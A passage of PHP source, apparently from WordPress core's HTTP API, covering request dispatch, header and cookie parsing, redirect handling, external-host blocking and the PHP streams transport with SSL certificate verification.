arguments. * @param string $url The request URL. */ $pre = apply_filters( 'pre_http_request', false, $r, $url ); if ( false !== $pre ) return $pre; if ( function_exists( 'wp_kses_bad_protocol' ) ) { if ( $r['reject_unsafe_urls'] ) $url = wp_http_validate_url( $url ); $url = wp_kses_bad_protocol( $url, array( 'http', 'https', 'ssl' ) ); } $arrURL = @parse_url( $url ); if ( empty( $url ) || empty( $arrURL['scheme'] ) ) return new WP_Error('http_request_failed', __('A valid URL was not provided.')); if ( $this->block_request( $url ) ) return new WP_Error( 'http_request_failed', __( 'User has blocked requests through HTTP.' ) ); /* * Determine if this is a https call and pass that on to the transport functions * so that we can blacklist the transports that do not support ssl verification */ $r['ssl'] = $arrURL['scheme'] == 'https' || $arrURL['scheme'] == 'ssl'; // Determine if this request is to OUR install of WordPress. $homeURL = parse_url( get_bloginfo( 'url' ) ); $r['local'] = 'localhost' == $arrURL['host'] || ( isset( $homeURL['host'] ) && $homeURL['host'] == $arrURL['host'] ); unset( $homeURL ); /* * If we are streaming to a file but no filename was given drop it in the WP temp dir * and pick its name using the basename of the $url. */ if ( $r['stream'] && empty( $r['filename'] ) ) { $r['filename'] = wp_unique_filename( get_temp_dir(), basename( $url ) ); } /* * Force some settings if we are streaming to a file and check for existence and perms * of destination directory. */ if ( $r['stream'] ) { $r['blocking'] = true; if ( ! wp_is_writable( dirname( $r['filename'] ) ) ) return new WP_Error( 'http_request_failed', __( 'Destination directory for file streaming does not exist or is not writable.' ) ); } if ( is_null( $r['headers'] ) ) $r['headers'] = array(); if ( ! is_array( $r['headers'] ) ) { $processedHeaders = WP_Http::processHeaders( $r['headers'], $url ); $r['headers'] = $processedHeaders['headers']; } if ( isset( $r['headers']['User-Agent'] ) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset( $r['headers']['User-Agent'] ); } if ( isset( $r['headers']['user-agent'] ) ) { $r['user-agent'] = $r['headers']['user-agent']; unset( $r['headers']['user-agent'] ); } if ( '1.1' == $r['httpversion'] && !isset( $r['headers']['connection'] ) ) { $r['headers']['connection'] = 'close'; } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $r ); // Avoid issues where mbstring.func_overload is enabled. mbstring_binary_safe_encoding(); if ( ! isset( $r['headers']['Accept-Encoding'] ) ) { if ( $encoding = WP_Http_Encoding::accept_encoding( $url, $r ) ) $r['headers']['Accept-Encoding'] = $encoding; } if ( ( ! is_null( $r['body'] ) && '' != $r['body'] ) || 'POST' == $r['method'] || 'PUT' == $r['method'] ) { if ( is_array( $r['body'] ) || is_object( $r['body'] ) ) { $r['body'] = http_build_query( $r['body'], null, '&' ); if ( ! isset( $r['headers']['Content-Type'] ) ) $r['headers']['Content-Type'] = 'application/x-www-form-urlencoded; charset=' . get_option( 'blog_charset' ); } if ( '' === $r['body'] ) $r['body'] = null; if ( ! isset( $r['headers']['Content-Length'] ) && ! isset( $r['headers']['content-length'] ) ) $r['headers']['Content-Length'] = strlen( $r['body'] ); } $response = $this->_dispatch_request( $url, $r ); reset_mbstring_encoding(); if ( is_wp_error( $response ) ) return $response; // Append cookies that were used in this request to the response if ( ! empty( $r['cookies'] ) ) { $cookies_set = wp_list_pluck( $response['cookies'], 'name' ); foreach ( $r['cookies'] as $cookie ) { if ( ! in_array( $cookie->name, $cookies_set ) && $cookie->test( $url ) ) { $response['cookies'][] = $cookie; } } } return $response; } /** * Tests which transports are capable of supporting the request. * * @since 3.2.0 * @access private * * @param array $args Request arguments * @param string $url URL to Request * * @return string|false Class name for the first transport that claims to support the request. False if no transport claims to support the request. */ public function _get_first_available_transport( $args, $url = null ) { /** * Filter which HTTP transports are available and in what order. * * @since 3.7.0 * * @param array $value Array of HTTP transports to check. Default array contains * 'curl', and 'streams', in that order. * @param array $args HTTP request arguments. * @param string $url The URL to request. */ $request_order = apply_filters( 'http_api_transports', array( 'curl', 'streams' ), $args, $url ); // Loop over each transport on each HTTP request looking for one which will serve this request's needs. foreach ( $request_order as $transport ) { $class = 'WP_HTTP_' . $transport; // Check to see if this transport is a possibility, calls the transport statically. if ( !call_user_func( array( $class, 'test' ), $args, $url ) ) continue; return $class; } return false; } /** * Dispatches a HTTP request to a supporting transport. * * Tests each transport in order to find a transport which matches the request arguments. * Also caches the transport instance to be used later. * * The order for requests is cURL, and then PHP Streams. * * @since 3.2.0 * @access private * * @param string $url URL to Request * @param array $args Request arguments * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ private function _dispatch_request( $url, $args ) { static $transports = array(); $class = $this->_get_first_available_transport( $args, $url ); if ( !$class ) return new WP_Error( 'http_failure', __( 'There are no HTTP transports available which can complete the requested request.' ) ); // Transport claims to support request, instantiate it and give it a whirl. if ( empty( $transports[$class] ) ) $transports[$class] = new $class; $response = $transports[$class]->request( $url, $args ); /** * Fires after an HTTP API response is received and before the response is returned. * * @since 2.8.0 * * @param array|WP_Error $response HTTP response or WP_Error object. * @param string $context Context under which the hook is fired. * @param string $class HTTP transport used. * @param array $args HTTP request arguments. * @param string $url The request URL. */ do_action( 'http_api_debug', $response, 'response', $class, $args, $url ); if ( is_wp_error( $response ) ) return $response; /** * Filter the HTTP API response immediately before the response is returned. * * @since 2.9.0 * * @param array $response HTTP response. * @param array $args HTTP request arguments. * @param string $url The request URL. */ return apply_filters( 'http_response', $response, $args, $url ); } /** * Uses the POST HTTP method. * * Used for sending data that is expected to be in the body. * * @access public * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function post($url, $args = array()) { $defaults = array('method' => 'POST'); $r = wp_parse_args( $args, $defaults ); return $this->request($url, $r); } /** * Uses the GET HTTP method. * * Used for sending data that is expected to be in the body. * * @access public * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function get($url, $args = array()) { $defaults = array('method' => 'GET'); $r = wp_parse_args( $args, $defaults ); return $this->request($url, $r); } /** * Uses the HEAD HTTP method. * * Used for sending data that is expected to be in the body. * * @access public * @since 2.7.0 * * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function head($url, $args = array()) { $defaults = array('method' => 'HEAD'); $r = wp_parse_args( $args, $defaults ); return $this->request($url, $r); } /** * Parses the responses and splits the parts into headers and body. * * @access public * @static * @since 2.7.0 * * @param string $strResponse The full response string * @return array Array with 'headers' and 'body' keys. */ public static function processResponse($strResponse) { $res = explode("\r\n\r\n", $strResponse, 2); return array('headers' => $res[0], 'body' => isset($res[1]) ? $res[1] : ''); } /** * Transform header string into an array. * * If an array is given then it is assumed to be raw header data with numeric keys with the * headers as the values. No headers must be passed that were already processed. * * @access public * @static * @since 2.7.0 * * @param string|array $headers * @param string $url The URL that was requested * @return array Processed string headers. If duplicate headers are encountered, * Then a numbered array is returned as the value of that header-key. */ public static function processHeaders( $headers, $url = '' ) { // Split headers, one per array element. if ( is_string($headers) ) { // Tolerate line terminator: CRLF = LF (RFC 2616 19.3). $headers = str_replace("\r\n", "\n", $headers); /* * Unfold folded header fields. LWS = [CRLF] 1*( SP | HT ) , * (RFC 2616 2.2). */ $headers = preg_replace('/\n[ \t]/', ' ', $headers); // Create the headers array. $headers = explode("\n", $headers); } $response = array('code' => 0, 'message' => ''); /* * If a redirection has taken place, The headers for each page request may have been passed. * In this case, determine the final HTTP header and parse from there. */ for ( $i = count($headers)-1; $i >= 0; $i-- ) { if ( !empty($headers[$i]) && false === strpos($headers[$i], ':') ) { $headers = array_splice($headers, $i); break; } } $cookies = array(); $newheaders = array(); foreach ( (array) $headers as $tempheader ) { if ( empty($tempheader) ) continue; if ( false === strpos($tempheader, ':') ) { $stack = explode(' ', $tempheader, 3); $stack[] = ''; list( , $response['code'], $response['message']) = $stack; continue; } list($key, $value) = explode(':', $tempheader, 2); $key = strtolower( $key ); $value = trim( $value ); if ( isset( $newheaders[ $key ] ) ) { if ( ! is_array( $newheaders[ $key ] ) ) $newheaders[$key] = array( $newheaders[ $key ] ); $newheaders[ $key ][] = $value; } else { $newheaders[ $key ] = $value; } if ( 'set-cookie' == $key ) $cookies[] = new WP_Http_Cookie( $value, $url ); } // Cast the Response Code to an int $response['code'] = intval( $response['code'] ); return array('response' => $response, 'headers' => $newheaders, 'cookies' => $cookies); } /** * Takes the arguments for a ::request() and checks for the cookie array. * * If it's found, then it upgrades any basic name => value pairs to WP_Http_Cookie instances, * which are each parsed into strings and added to the Cookie: header (within the arguments array). * Edits the array by reference. * * @access public * @version 2.8.0 * @static * * @param array $r Full array of args passed into ::request() */ public static function buildCookieHeader( &$r ) { if ( ! empty($r['cookies']) ) { // Upgrade any name => value cookie pairs to WP_HTTP_Cookie instances. foreach ( $r['cookies'] as $name => $value ) { if ( ! is_object( $value ) ) $r['cookies'][ $name ] = new WP_HTTP_Cookie( array( 'name' => $name, 'value' => $value ) ); } $cookies_header = ''; foreach ( (array) $r['cookies'] as $cookie ) { $cookies_header .= $cookie->getHeaderValue() . '; '; } $cookies_header = substr( $cookies_header, 0, -2 ); $r['headers']['cookie'] = $cookies_header; } } /** * Decodes chunk transfer-encoding, based off the HTTP 1.1 specification. * * Based off the HTTP http_encoding_dechunk function. * * @link http://tools.ietf.org/html/rfc2616#section-19.4.6 Process for chunked decoding. * * @access public * @since 2.7.0 * @static * * @param string $body Body content * @return string Chunked decoded body on success or raw body on failure. */ public static function chunkTransferDecode( $body ) { // The body is not chunked encoded or is malformed. if ( ! preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', trim( $body ) ) ) return $body; $parsed_body = ''; // We'll be altering $body, so need a backup in case of error. $body_original = $body; while ( true ) { $has_chunk = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $body, $match ); if ( ! $has_chunk || empty( $match[1] ) ) return $body_original; $length = hexdec( $match[1] ); $chunk_length = strlen( $match[0] ); // Parse out the chunk of data. $parsed_body .= substr( $body, $chunk_length, $length ); // Remove the chunk from the raw data. $body = substr( $body, $length + $chunk_length ); // End of the document. if ( '0' === trim( $body ) ) return $parsed_body; } } /** * Block requests through the proxy. * * Those who are behind a proxy and want to prevent access to certain hosts may do so. This will * prevent plugins from working and core functionality, if you don't include api.wordpress.org. * * You block external URL requests by defining WP_HTTP_BLOCK_EXTERNAL as true in your wp-config.php * file and this will only allow localhost and your blog to make requests. The constant * WP_ACCESSIBLE_HOSTS will allow additional hosts to go through for requests. The format of the * WP_ACCESSIBLE_HOSTS constant is a comma separated list of hostnames to allow, wildcard domains * are supported, eg *.wordpress.org will allow for all subdomains of wordpress.org to be contacted. * * @since 2.8.0 * @link https://core.trac.wordpress.org/ticket/8927 Allow preventing external requests. * @link https://core.trac.wordpress.org/ticket/14636 Allow wildcard domains in WP_ACCESSIBLE_HOSTS * * @param string $uri URI of url. * @return bool True to block, false to allow. */ public function block_request($uri) { // We don't need to block requests, because nothing is blocked. if ( ! defined( 'WP_HTTP_BLOCK_EXTERNAL' ) || ! WP_HTTP_BLOCK_EXTERNAL ) return false; $check = parse_url($uri); if ( ! $check ) return true; $home = parse_url( get_option('siteurl') ); // Don't block requests back to ourselves by default. if ( 'localhost' == $check['host'] || ( isset( $home['host'] ) && $home['host'] == $check['host'] ) ) { /** * Filter whether to block local requests through the proxy. * * @since 2.8.0 * * @param bool $block Whether to block local requests through proxy. * Default false. */ return apply_filters( 'block_local_requests', false ); } if ( !defined('WP_ACCESSIBLE_HOSTS') ) return true; static $accessible_hosts; static $wildcard_regex = false; if ( null == $accessible_hosts ) { $accessible_hosts = preg_split('|,\s*|', WP_ACCESSIBLE_HOSTS); if ( false !== strpos(WP_ACCESSIBLE_HOSTS, '*') ) { $wildcard_regex = array(); foreach ( $accessible_hosts as $host ) $wildcard_regex[] = str_replace( '\*', '.+', preg_quote( $host, '/' ) ); $wildcard_regex = '/^(' . implode('|', $wildcard_regex) . ')$/i'; } } if ( !empty($wildcard_regex) ) return !preg_match($wildcard_regex, $check['host']); else return !in_array( $check['host'], $accessible_hosts ); //Inverse logic, If it's in the array, then we can't access it. } /** * A wrapper for PHP's parse_url() function that handles edgecases in < PHP 5.4.7 * * PHP 5.4.7 expanded parse_url()'s ability to handle non-absolute url's, including * schemeless and relative url's with :// in the path, this works around those * limitations providing a standard output on PHP 5.2~5.4+. * * Error suppression is used as prior to PHP 5.3.3, an E_WARNING would be generated * when URL parsing failed. * * @since 4.1.0 * @access protected * * @param string $url The URL to parse. * @return bool|array False on failure; Array of URL components on success; * See parse_url()'s return values. */ protected static function parse_url( $url ) { $parts = @parse_url( $url ); if ( ! $parts ) { // < PHP 5.4.7 compat, trouble with relative paths including a scheme break in the path if ( '/' == $url[0] && false !== strpos( $url, '://' ) ) { // Since we know it's a relative path, prefix with a scheme/host placeholder and try again if ( ! $parts = @parse_url( 'placeholder://placeholder' . $url ) ) { return $parts; } // Remove the placeholder values unset( $parts['scheme'], $parts['host'] ); } else { return $parts; } } // < PHP 5.4.7 compat, doesn't detect schemeless URL's host field if ( '//' == substr( $url, 0, 2 ) && ! isset( $parts['host'] ) ) { list( $parts['host'], $slashless_path ) = explode( '/', substr( $parts['path'], 2 ), 2 ); $parts['path'] = "/{$slashless_path}"; } return $parts; } /** * Converts a relative URL to an absolute URL relative to a given URL. * * If an Absolute URL is provided, no processing of that URL is done. * * @since 3.4.0 * * @access public * @param string $maybe_relative_path The URL which might be relative * @param string $url The URL which $maybe_relative_path is relative to * @return string An Absolute URL, in a failure condition where the URL cannot be parsed, the relative URL will be returned. */ public static function make_absolute_url( $maybe_relative_path, $url ) { if ( empty( $url ) ) return $maybe_relative_path; if ( ! $url_parts = WP_HTTP::parse_url( $url ) ) { return $maybe_relative_path; } if ( ! $relative_url_parts = WP_HTTP::parse_url( $maybe_relative_path ) ) { return $maybe_relative_path; } // Check for a scheme on the 'relative' url if ( ! empty( $relative_url_parts['scheme'] ) ) { return $maybe_relative_path; } $absolute_path = $url_parts['scheme'] . '://'; // Schemeless URL's will make it this far, so we check for a host in the relative url and convert it to a protocol-url if ( isset( $relative_url_parts['host'] ) ) { $absolute_path .= $relative_url_parts['host']; if ( isset( $relative_url_parts['port'] ) ) $absolute_path .= ':' . $relative_url_parts['port']; } else { $absolute_path .= $url_parts['host']; if ( isset( $url_parts['port'] ) ) $absolute_path .= ':' . $url_parts['port']; } // Start off with the Absolute URL path. $path = ! empty( $url_parts['path'] ) ? $url_parts['path'] : '/'; // If it's a root-relative path, then great. if ( ! empty( $relative_url_parts['path'] ) && '/' == $relative_url_parts['path'][0] ) { $path = $relative_url_parts['path']; // Else it's a relative path. } elseif ( ! empty( $relative_url_parts['path'] ) ) { // Strip off any file components from the absolute path. $path = substr( $path, 0, strrpos( $path, '/' ) + 1 ); // Build the new path. $path .= $relative_url_parts['path']; // Strip all /path/../ out of the path. while ( strpos( $path, '../' ) > 1 ) { $path = preg_replace( '![^/]+/\.\./!', '', $path ); } // Strip any final leading ../ from the path. $path = preg_replace( '!^/(\.\./)+!', '', $path ); } // Add the Query string. if ( ! empty( $relative_url_parts['query'] ) ) $path .= '?' . $relative_url_parts['query']; return $absolute_path . '/' . ltrim( $path, '/' ); } /** * Handles HTTP Redirects and follows them if appropriate. * * @since 3.7.0 * * @param string $url The URL which was requested. * @param array $args The Arguments which were used to make the request. * @param array $response The Response of the HTTP request. * @return false|object False if no redirect is present, a WP_HTTP or WP_Error result otherwise. */ public static function handle_redirects( $url, $args, $response ) { // If no redirects are present, or, redirects were not requested, perform no action. if ( ! isset( $response['headers']['location'] ) || 0 === $args['_redirection'] ) return false; // Only perform redirections on redirection http codes. if ( $response['response']['code'] > 399 || $response['response']['code'] < 300 ) return false; // Don't redirect if we've run out of redirects. if ( $args['redirection']-- <= 0 ) return new WP_Error( 'http_request_failed', __('Too many redirects.') ); $redirect_location = $response['headers']['location']; // If there were multiple Location headers, use the last header specified. if ( is_array( $redirect_location ) ) $redirect_location = array_pop( $redirect_location ); $redirect_location = WP_HTTP::make_absolute_url( $redirect_location, $url ); // POST requests should not POST to a redirected location. if ( 'POST' == $args['method'] ) { if ( in_array( $response['response']['code'], array( 302, 303 ) ) ) $args['method'] = 'GET'; } // Include valid cookies in the redirect process. if ( ! empty( $response['cookies'] ) ) { foreach ( $response['cookies'] as $cookie ) { if ( $cookie->test( $redirect_location ) ) $args['cookies'][] = $cookie; } } return wp_remote_request( $redirect_location, $args ); } /** * Determines if a specified string represents an IP address or not. * * This function also detects the type of the IP address, returning either * '4' or '6' to represent a IPv4 and IPv6 address respectively. * This does not verify if the IP is a valid IP, only that it appears to be * an IP address. * * @see http://home.deds.nl/~aeron/regex/ for IPv6 regex * * @since 3.7.0 * @static * * @param string $maybe_ip A suspected IP address * @return integer|bool Upon success, '4' or '6' to represent a IPv4 or IPv6 address, false upon failure */ public static function is_ip_address( $maybe_ip ) { if ( preg_match( '/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/', $maybe_ip ) ) return 4; if ( false !== strpos( $maybe_ip, ':' ) && preg_match( '/^(((?=.*(::))(?!.*\3.+\3))\3?|([\dA-F]{1,4}(\3|:\b|$)|\2))(?4){5}((?4){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i', trim( $maybe_ip, ' []' ) ) ) return 6; return false; } } /** * HTTP request method uses PHP Streams to retrieve the url. * * @since 2.7.0 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client(). */ class WP_Http_Streams { /** * Send a HTTP request to a URI using PHP Streams. * * @see WP_Http::request For default options descriptions. * * @since 2.7.0 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client(). * * @access public * @param string $url The request URL. * @param string|array $args Optional. Override the defaults. * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error */ public function request($url, $args = array()) { $defaults = array( 'method' => 'GET', 'timeout' => 5, 'redirection' => 5, 'httpversion' => '1.0', 'blocking' => true, 'headers' => array(), 'body' => null, 'cookies' => array() ); $r = wp_parse_args( $args, $defaults ); if ( isset($r['headers']['User-Agent']) ) { $r['user-agent'] = $r['headers']['User-Agent']; unset($r['headers']['User-Agent']); } else if ( isset($r['headers']['user-agent']) ) { $r['user-agent'] = $r['headers']['user-agent']; unset($r['headers']['user-agent']); } // Construct Cookie: header if any cookies are set. WP_Http::buildCookieHeader( $r ); $arrURL = parse_url($url); $connect_host = $arrURL['host']; $secure_transport = ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' ); if ( ! isset( $arrURL['port'] ) ) { if ( $arrURL['scheme'] == 'ssl' || $arrURL['scheme'] == 'https' ) { $arrURL['port'] = 443; $secure_transport = true; } else { $arrURL['port'] = 80; } } // Always pass a Path, defaulting to the root in cases such as http://example.com if ( ! isset( $arrURL['path'] ) ) { $arrURL['path'] = '/'; } if ( isset( $r['headers']['Host'] ) || isset( $r['headers']['host'] ) ) { if ( isset( $r['headers']['Host'] ) ) $arrURL['host'] = $r['headers']['Host']; else $arrURL['host'] = $r['headers']['host']; unset( $r['headers']['Host'], $r['headers']['host'] ); } /* * Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect * to ::1, which fails when the server is not set up for it. For compatibility, always * connect to the IPv4 address. */ if ( 'localhost' == strtolower( $connect_host ) ) $connect_host = '127.0.0.1'; $connect_host = $secure_transport ? 'ssl://' . $connect_host : 'tcp://' . $connect_host; $is_local = isset( $r['local'] ) && $r['local']; $ssl_verify = isset( $r['sslverify'] ) && $r['sslverify']; if ( $is_local ) { /** * Filter whether SSL should be verified for local requests. * * @since 2.8.0 * * @param bool $ssl_verify Whether to verify the SSL connection. Default true. */ $ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify ); } elseif ( ! $is_local ) { /** * Filter whether SSL should be verified for non-local requests. * * @since 2.8.0 * * @param bool $ssl_verify Whether to verify the SSL connection. Default true. */ $ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify ); } $proxy = new WP_HTTP_Proxy(); $context = stream_context_create( array( 'ssl' => array( 'verify_peer' => $ssl_verify, //'CN_match' => $arrURL['host'], // This is handled by self::verify_ssl_certificate() 'capture_peer_cert' => $ssl_verify, 'SNI_enabled' => true, 'cafile' => $r['sslcertificates'], 'allow_self_signed' => ! $ssl_verify, ) ) ); $timeout = (int) floor( $r['timeout'] ); $utimeout = $timeout == $r['timeout'] ? 0 : 1000000 * $r['timeout'] % 1000000; $connect_timeout = max( $timeout, 1 ); // Store error number. $connection_error = null; // Store error string. $connection_error_str = null; if ( !WP_DEBUG ) { // In the event that the SSL connection fails, silence the many PHP Warnings. if ( $secure_transport ) $error_reporting = error_reporting(0); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) $handle = @stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); else $handle = @stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); if ( $secure_transport ) error_reporting( $error_reporting ); } else { if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) $handle = stream_socket_client( 'tcp://' . $proxy->host() . ':' . $proxy->port(), $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); else $handle = stream_socket_client( $connect_host . ':' . $arrURL['port'], $connection_error, $connection_error_str, $connect_timeout, STREAM_CLIENT_CONNECT, $context ); } if ( false === $handle ) { // SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken. if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str ) return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) ); return new WP_Error('http_request_failed', $connection_error . ': ' . $connection_error_str ); } // Verify that the SSL certificate is valid for this request. if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) { if ( ! self::verify_ssl_certificate( $handle, $arrURL['host'] ) ) return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) ); } stream_set_timeout( $handle, $timeout, $utimeout ); if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) //Some proxies require full URL in this field. $requestPath = $url; else $requestPath = $arrURL['path'] . ( isset($arrURL['query']) ? '?' . $arrURL['query'] : '' ); $strHeaders = strtoupper($r['method']) . ' ' . $requestPath . ' HTTP/' . $r['httpversion'] . "\r\n"; $include_port_in_host_header = ( ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) || ( 'http' == $arrURL['scheme'] && 80 != $arrURL['port'] ) || ( 'https' == $arrURL['scheme'] && 443 != $arrURL['port'] ) ); if ( $include_port_in_host_header ) { $strHeaders .= 'Host: ' . $arrURL['host'] . ':' . $arrURL['port'] . "\r\n"; } else { $strHeaders .= 'Host: ' . $arrURL['host'] . "\r\n"; } if ( isset($r['user-agent']) ) $strHeaders .= 'User-agent: ' . $r['user-agent'] . "\r\n"; if ( is_array($r['headers']) ) { foreach ( (array) $r['headers'] as $header => $headerValue ) $strHeaders .= $header . ': ' . $headerValue . "\r\n"; } else { $strHeaders .= $r['headers']; } if ( $proxy->use_authentication() ) $strHeaders .= $proxy->authentication_header() . "\r\n"; $strHeaders .= "\r\n"; if ( ! is_null($r['body']) ) $strHeaders .= $r['body']; fwrite($handle, $strHeaders); if ( ! $r['blocking'] ) { stream_set_blocking( $handle, 0 ); fclose( $handle ); return array( 'headers' => array(), 'body' => '', 'response' => array('code' => false, 'message' => false), 'cookies' => array() ); } $strResponse = ''; $bodyStarted = false; $keep_reading = true; $block_size = 4096; if ( isset( $r['limit_response_size'] ) ) $block_size = min( $block_size, $r['limit_response_size'] ); // If streaming to a file setup the file handle. if ( $r['stream'] ) { if ( ! WP_DEBUG ) $stream_handle = @fopen( $r['filename'], 'w+' ); else $stream_handle = fopen( $r['filename'], 'w+' ); if ( ! $stream_handle ) return new WP_Error( 'http_request_failed', sprintf( __( 'Could not open handle for fopen() to %s' ), $r['filename'] ) ); $bytes_written = 0; while ( ! feof($handle) && $keep_reading ) { $block = fread( $handle, $block_size ); if ( ! $bodyStarted ) { $strResponse .= $block; if ( strpos( $strResponse, "\r\n\r\n" ) ) { $process = WP_Http::processResponse( $strResponse ); $bodyStarted = true; $block = $process['body']; unset( $strResponse ); $process['body'] = ''; } } $this_block_size = strlen( $block ); if ( isset( $r['limit_response_size'] ) && ( $bytes_written + $this_block_size ) > $r['limit_response_size'] ) { $this_block_size = ( $r['limit_response_size'] - $bytes_written ); $block = substr( $block, 0, $this_block_size ); } $bytes_written_to_file = fwrite( $stream_handle, $block ); if ( $bytes_written_to_file != $this_block_size ) { fclose( $handle ); fclose( $stream_handle ); return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) ); } $bytes_written += $bytes_written_to_file; $keep_reading = !isset( $r['limit_response_size'] ) || $bytes_written < $r['limit_response_size']; } fclose( $stream_handle ); } else { $header_length = 0; while ( ! feof( $handle ) && $keep_reading ) { $block = fread( $handle, $block_size ); $strResponse .= $block; if ( ! $bodyStarted && strpos( $strResponse, "\r\n\r\n" ) ) { $header_length = strpos( $strResponse, "\r\n\r\n" ) + 4; $bodyStarted = true; } $keep_reading = ( ! $bodyStarted || !isset( $r['limit_response_size'] ) || strlen( $strResponse ) < ( $header_length + $r['limit_response_size'] ) ); } $process = WP_Http::processResponse( $strResponse ); unset( $strResponse ); } fclose( $handle ); $arrHeaders = WP_Http::processHeaders( $process['headers'], $url ); $response = array( 'headers' => $arrHeaders['headers'], // Not yet processed. 'body' => null, 'response' => $arrHeaders['response'], 'cookies' => $arrHeaders['cookies'], 'filename' => $r['filename'] ); // Handle redirects. if ( false !== ( $redirect_response = WP_HTTP::handle_redirects( $url, $r, $response ) ) ) return $redirect_response; // If the body was chunk encoded, then decode it. if ( ! empty( $process['body'] ) && isset( $arrHeaders['headers']['transfer-encoding'] ) && 'chunked' == $arrHeaders['headers']['transfer-encoding'] ) $process['body'] = WP_Http::chunkTransferDecode($process['body']); if ( true === $r['decompress'] && true === WP_Http_Encoding::should_decode($arrHeaders['headers']) ) $process['body'] = WP_Http_Encoding::decompress( $process['body'] ); if ( isset( $r['limit_response_size'] ) && strlen( $process['body'] ) > $r['limit_response_size'] ) $process['body'] = substr( $process['body'], 0, $r['limit_response_size'] ); $response['body'] = $process['body']; return $response; } /** * Verifies the received SSL certificate against it's Common Names and subjectAltName fields * * PHP's SSL verifications only verify that it's a valid Certificate, it doesn't verify if * the certificate is valid for the hostname which was requested. * This function verifies the requested hostname against certificate's subjectAltName field, * if that is empty, or contains no DNS entries, a fallback to the Common Name field is used. * * IP Address support is included if the request is being made to an IP address. * * @since 3.7.0 * @static * * @param stream $stream The PHP Stream which the SSL request is being made over * @param string $host The hostname being requested * @return bool If the cerficiate presented in $stream is valid for $host */ public static function verify_ssl_certificate( $stream, $host ) { $context_options = stream_context_get_options( $stream ); if ( empty( $context_options['ssl']['peer_certificate'] ) ) return false; $cert = openssl_x509_parse( $context_options['ssl']['peer_certificate'] ); if ( ! $cert ) return false; /* * If the request is being made to an IP address, we'll validate against IP fields * in the cert (if they exist) */ $host_type = ( WP_HTTP::is_ip_address( $host ) ? 'ip' : 'dns' ); $certificate_hostnames = array(); if ( ! empty( $cert['extensions']['subjectAltName'] ) ) { $match_against = preg_split( '/,\s*/', $cert['extensions']['subjectAltName'] ); foreach ( $match_against as $match ) { list( $match_type, $match_host ) = explode( ':', $match ); if ( $host_type == strtolower( trim( $match_type ) ) ) // IP: or DNS: $certificate_hostnames[] = strtolower( trim( $match_host ) ); } } elseif ( !empty( $cert['subject']['CN'] ) ) { // Only use the CN when the certificate includes no subjectAltName extension. $certificate_hostnames[] = strtolower( $cert['subject']['CN'] ); } // Exact hostname/IP matches. if ( in_array( strtolower( $host ), $certificate_hostnames ) ) return true; // IP's can't be wildcards, Stop processing. if ( 'ip' == $host_type ) return false; // Test to see if the domain is at least 2 deep for wildcard support. if ( substr_count( $host, '.' ) < 2 ) return false; // Wildcard subdomains certs (*.example.com) are valid for a.example.com but not a.b.example.com. $wildcard_host = preg_replace( '/^[^.]+\./', '*.', $host ); return in_array( strtolower( $wildcard_host ), $certificate_hostnames ); } /** * Whether this class can be used for retrieving a URL. * * @static * @access public * @since 2.7.0 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client(). * * @return boolean False means this class can not be used, true means it can. */ public static function test( $args = array() ) { if ( ! function_exists( 'stream_socket_client' ) ) return false; $is_ssl = isset( $args['ssl'] ) && $args['ssl']; if ( $is_ssl ) { if ( ! extension_loaded( 'openssl' ) ) return false; if ( ! function_exists( 'openssl_x509_parse' ) ) return false; } /** * Filter whether streams can be used as a transport for retrieving a URL. * * @since 2.7.0 * * @param bool $use_class Whether the class can be used. Default true. * @param array $args Request arguments. */ return apply_filters( 'use_streams_transport', true, $args ); } } /** * Deprecated HTTP Transport method which used fsockopen. * * This class is not used, and is included for backwards compatibility only. * All code should make use of WP_HTTP directly through it's API. * * @see WP_HTTP::request * * @since 2.7.0 * @deprecated 3.7.0 Please use WP_HTTP::request() directly */ class WP_HTTP_Fsockopen extends WP_HTTP_Streams { // For backwards compatibility for users who are using the class directly. } /** * HTTP request method uses Curl extension to retrieve the url. * * Requires the Curl extension to be installed. * * @package WordPress * @subpackage HTTP * @since 2.7.0 */ class WP_Http_Curl { /** * Temporary header storage for during requests. * * @since 3.2.0 * @access private * @var string */ private $headers = ''; /** * Temporary body storage for during requests. * * @since 3.6.0 * @access private * 